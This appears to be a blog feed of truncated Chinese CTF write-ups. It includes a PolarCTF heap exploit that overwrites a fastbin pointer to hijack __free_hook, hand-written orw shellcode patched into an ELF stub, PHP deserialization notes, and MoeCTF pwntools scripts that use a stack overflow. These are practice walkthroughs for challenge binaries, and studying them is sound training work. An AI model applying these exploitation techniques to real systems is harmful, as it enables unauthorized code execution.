EDS - 默认分类
type: channel
link: http://www.ericdshen.com/index.php/category/default/
description: 只是一个默认分类
items: polarctf 2025年夏季个人挑战赛
items: php反序列化学习笔记
items: Moectf2024开发与运维基础writeup
items: Moectf2024-writeup
items: 之前的博客炸了
items: 欢迎使用 Typecho

polarctf 2025年夏季个人挑战赛
type: item
date: 2025-06-07T05:20:00+00:00
description: 2025年夏季个人挑战赛pwnmagichouse经典堆题。主函数int __fastcall main(int argc, const char **argv, const char **envp) { void (**v4)(void); // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v6; // [rsp+18h] [rbp-8h] v6 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); v4 = malloc(0x10uLL); *v4 = hello_message; v4[1] = goodbye_message; (*v4)(); while ( 1 ) { menu(); read(0, buf, 8uLL); switch ( atoi(buf) ) { case 1: show_gift(); break; case 2: add_gift(); break; case 3: change_gift(); break; case 4: remove_gift(); break; case 5: v4[1](); exit(0); default: puts("invaild choice!!!"); break; } } }编辑函数存在堆溢出,编辑时可以输入任意长度字符串。unsigned __int64 change_gift() { int v1; // [rsp+4h] [rbp-2Ch] int v2; // [rsp+8h] [rbp-28h] char buf[16]; // [rsp+10h] [rbp-20h] BYREF char nptr[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of gift:"); read(0, buf, 8uLL); v1 = atoi(buf); if ( *(&unk_6020C8 + 2 * v1) ) { printf("Please enter the length of gift name:"); read(0, nptr, 8uLL); v2 = atoi(nptr); printf("Please enter the new name of the gift:"); *(*(&unk_6020C8 + 2 * v1) + read(0, *(&unk_6020C8 + 2 * v1), v2)) = 0; //漏洞点 } else { puts("invaild index"); } } else { puts("No gift in the house"); } return __readfsqword(0x28u) ^ v5; }通过溢出修改fastbin的fd实现任意地址写，本题目pie没开，可以直接写到堆块地址管理区。add(0x68,'aaaa') add(0x68,'bbbb') add(0x68,'/bin/sh\x00') free(1) edit(0,0x88,"a"*0x60+p64(0)+p64(0x78)+p64(0x6020ad)) add(0x68,'dddd') 修改堆块地址到got表泄露libc。add(0x68,'\x00'*3+p64(0x68)+p64(elf.got['puts'])) show()修改__free_hook为system地址，free一个/bin/sh字符串rce。#!/usr/bin/env python # coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./magichouse') #gdb.attach(r,"b * 0x40138a") gdb.attach(r,"b * menu") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: r = remote('1.95.36.136',2114) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./magic…

php反序列化学习笔记
type: item
date: 2024-11-01T09:27:00+00:00
description: php反序列化PHP的类 类的内部类的子部类的外部public√√√protected√√×private√××<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; } $qng = new person(); echo $qng->name; //ok echo $qng->age; //no echo $qng->password //no ?>PHP序列化单类型null : N; 666 : i:666; 66.6 : d:66.6; true : b:1; false: b:0; "qng": s:3:"qng";数组<?php $qng2 = array("aaaa","bbbb","cccc"); echo serialize($qng2); ?>结果a(array):3(数量):{i:0(索引);s:4:"aaaa";i:1;s:4:"bbbb";i:2;s:4:"cccc";}对象<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $name; } } $qng = new person(); $qng->name = "qng"; echo serialize($qng); ?>结果O:6(类名长度):"person":3(成员数量):{s:4:"name";s:3:"qng";s:6:"*age";i:12;s:16:"personpassword";s:6:"123456";}private属性修饰符为 %00类名%00protected 属性修饰符为 %00*%00对象成员为对象<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $name; } } class xhc{ var $me ; function __construct(){ $this-> me=new person(); } } $qng = new xhc(); $qng->name = "qng"; echo serialize($qng); ?>结果O:3:"xhc":2:{s:2:"me";O:6:"person":3:{s:4:"name";s:1:"a";s:6:"*age";i:12;s:16:"personpassword";s:6:"123456";}s:4:"name";s:3:"qng";}如果对象属性为对象，在序列化中，该属性内容为对应对象的反序列化。魔术方法__construct()构造函数，在实例化一个对象的时候，首先会去自动执行的一个方法。<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $age; } function __construct(){ echo $this->name; } } $qng = new person(); //可触发__construct $qng->name = "qng"; $qngser = serialize($qng); //不可触发__construct $qngunser = unserialize($qngser); //不可触发__construct ?>__destruct()析构函数，在对象的所引用被删除或者当对象被显示销毁时执行的魔术方法。<?php class person{ public $name = "a"; protected $age = 12; private $password = "123456"; function wsqng(){ echo $age; } function __destruct(){ echo $this->name; } } $qng = new person(); //单独不可触发__destruct $qng->name = "qng"; $qngser = serialize($qng); //可将上一个触发__destruct $qngunser = unserialize($qngser); //可触发__destruct ?>得到结果qngqng__sle…

Moectf2024开发与运维基础writeup
type: item
date: 2024-10-23T07:17:00+00:00
description: 开发与运维基础哦不！我的libc！题目说环境没有libc，那就需要一个不需要libc就能执行的可执行文件，用纯汇编写一段orw。 # 将/flag.txt字符串写入栈并将地址保存到r11寄存器 mov r10,0x74; push r10; mov r10,0x78742E67616C662f; push r10; mov r11,rsp; # 构造sys_open 打开/flag.txt sub rsp,0x100; mov rax,2; mov rdi,r11; xor rsi,rsi; mov rdx,rsi; syscall; # 构造sys_read 读取/flag.txt mov rdi,rax; mov rsi,rsp; mov rdx,0x80; xor rax,rax; syscall; # 构造sys_write 输出/flag.txt mov rdi,1; mov rax,rdi; syscall;生成的shellcodeOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 49 C7 C2 74 00 00 00 41 52 49 BA 2F 66 6C 61 67 00000010 2E 74 78 41 52 49 89 E3 48 81 EC 00 01 00 00 48 00000020 C7 C0 02 00 00 00 4C 89 DF 48 31 F6 48 89 F2 0F 00000030 05 48 89 C7 48 89 E6 48 C7 C2 80 00 00 00 48 31 00000040 C0 0F 05 48 C7 C7 01 00 00 00 48 89 F8 0F 05 发现用什么工具编译都不能弄出不依赖libc的东西，静态编译的话又太大。这时想到metasploit编译的meterpreter客户端都短小精悍，一般只有250b，用ida打开发现都是纯纯大汇编。利用winhex将入口（0x78处）的shellcode换成我们的。覆写完的文件hexOffset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 ELF 00000010 02 00 3E 00 01 00 00 00 78 00 40 00 00 00 00 00 > x @ 00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ 00000030 00 00 00 00 40 00 38 00 01 00 00 00 00 00 00 00 @ 8 00000040 01 00 00 00 07 00 00 00 00 00 00 00 00 00 00 00 00000050 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 @ @ 00000060 FA 00 00 00 00 00 00 00 7C 01 00 00 00 00 00 00 ? | 00000070 00 10 00 00 00 00 00 00 49 C7 C2 74 00 00 00 41 I锹t A 00000080 52 49 BA 2F 66 6C 61 67 2E 74 78 41 52 49 89 E3 RI?flag.txARI夈 00000090 48 81 EC 00 01 00 00 48 C7 C0 02 00 00 00 4C 89 H ? H抢 L? 000000A0 DF 48 31 F6 48 89 F2 0F 05 48 89 C7 48 89 E6 48 逪1鯤夠 H壡H夋H 000000B0 C7 C2 80 00 00 00 48 31 C0 0F 05 48 C7 C7 01 00 锹€ H1? H乔 000000C0 00 00 48 89 F8 0F 05 25 49 FF C9 74 18 57 6A 23 H夬 %I蓆 Wj# 000000D0 58 6A 00 6A 05 48 89 E7 48 31 F6 0F 05 59 59 5F Xj j H夌H1? YY_ 000000E0 48 85 C0 79 C7 6A 3C 58 6A 01 5F 0F 05 5E 6A 7E H吚y莏<Xj _ ^j~ 000000F0 5A 0F 05 48 85 C0 78 ED FF E6 Z H吚x??由于我们直接写入的文件没有可执行权限，chmod命令又不能使用。需要覆写进入一个已有的可执行文件内。利用pr…

Moectf2024-writeup
type: item
date: 2024-08-17T14:40:00+00:00
description: Moectfwppwn比赛方提供的工具开放的端口并不对外，需要用frp做个端口转发再用虚拟机的pwntools链接frps.ini[common] bind_port = 7000frpc.ini[common] server_addr = 127.0.0.1 server_port = 7000 type = tcp local_ip=127.0.0.1 local_port = 7818 #目标端口 custom_domains = 127.0.0.1 remote_port = 1212 #本地映射二进制漏洞审计入门指北nc链接直接出nc 192.168.248.1 1212 Hey, how did you get here? I've been waiting so long, for anyone... To honor your courage, I decided to give you a flag. But next time, it won't be so easy. moectf{Welcome_to_the_journey_of_Pwn} Good luck. By the way, netcat is not a cat!flag_helper# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) # 选玩游戏，别的选项都是耍你 print(r.recvuntil(">")) r.sendline("4") # 读flag print(r.recvuntil(">")) r.sendline("/flag") # 读属性是4 print(r.recvuntil(">")) r.sendline("4") # 不知道为啥777不行，疑似是啥玩意的保护 print(r.recvuntil(">")) r.sendline("766") # 开一块空间 print(r.recvuntil(">")) r.sendline("7777") # 除了flag还读了4个没有用的东西，0是i流 1是o流 2是e流 3是第一个 4是第二个 5是flag 6是剩下那个没有用的 print(r.recvuntil(">")) r.sendline("5") r.interactive()NotEnoughTime前面两个是固定的，后边截取=之前的，把中间的\n去掉，eval完还回去。# coding=utf-8 from pwn import * r = remote('192.168.248.1',1212) elf = ELF('./format') r.recvuntil("=") r.sendline('2') r.recvuntil("=") r.sendline('0') r.recvuntil("\n") for i in range(20): s = "".join(r.recvuntil("=",drop=True).split("\n")) print(s) calcs = eval(s) print(calcs) r.sendline(str(calcs)) r.interactive()no_more_getsmain()函数的gets()函数存在暴力栈溢出，直接暴力栈溢出跳到后门处int __cdecl main(int argc, const char **argv, const char **envp) { char s1[80]; // [rsp+0h] [rbp-A0h] BYREF char s2[80]; // [rsp+50h] [rbp-50h] BYREF init(argc, argv, envp); arc4random_buf(s1, 80LL); write(1, "This is my own shell, enter the password or get out.\n", 0x36uLL); gets(s2); if ( !strncmp(s1, s2, 0x50uLL) ) my_shell(); else write(1, "Password wrong!\n", 0x11uLL); return 0; }exp# coding=utf-8 from pwn import * context.arch = 'amd64' local = 0 if local == 1: r=process('./lockedshell') #gdb.attach(r,"b * 0x8049F9C") gdb.attach(r,"b * 0x40129E") else: r = remote('192…

之前的博客炸了
type: item
date: 2020-03-08T15:22:04+00:00
description: 之前的博客炸了，系统炸了，彻底起不来了，只能从零开始重新来过了。以后争取每日更新。

欢迎使用 Typecho
type: item
date: 2020-03-08T12:55:32+00:00
description: 如果您看到这篇文章,表示您的 blog 已经安装成功.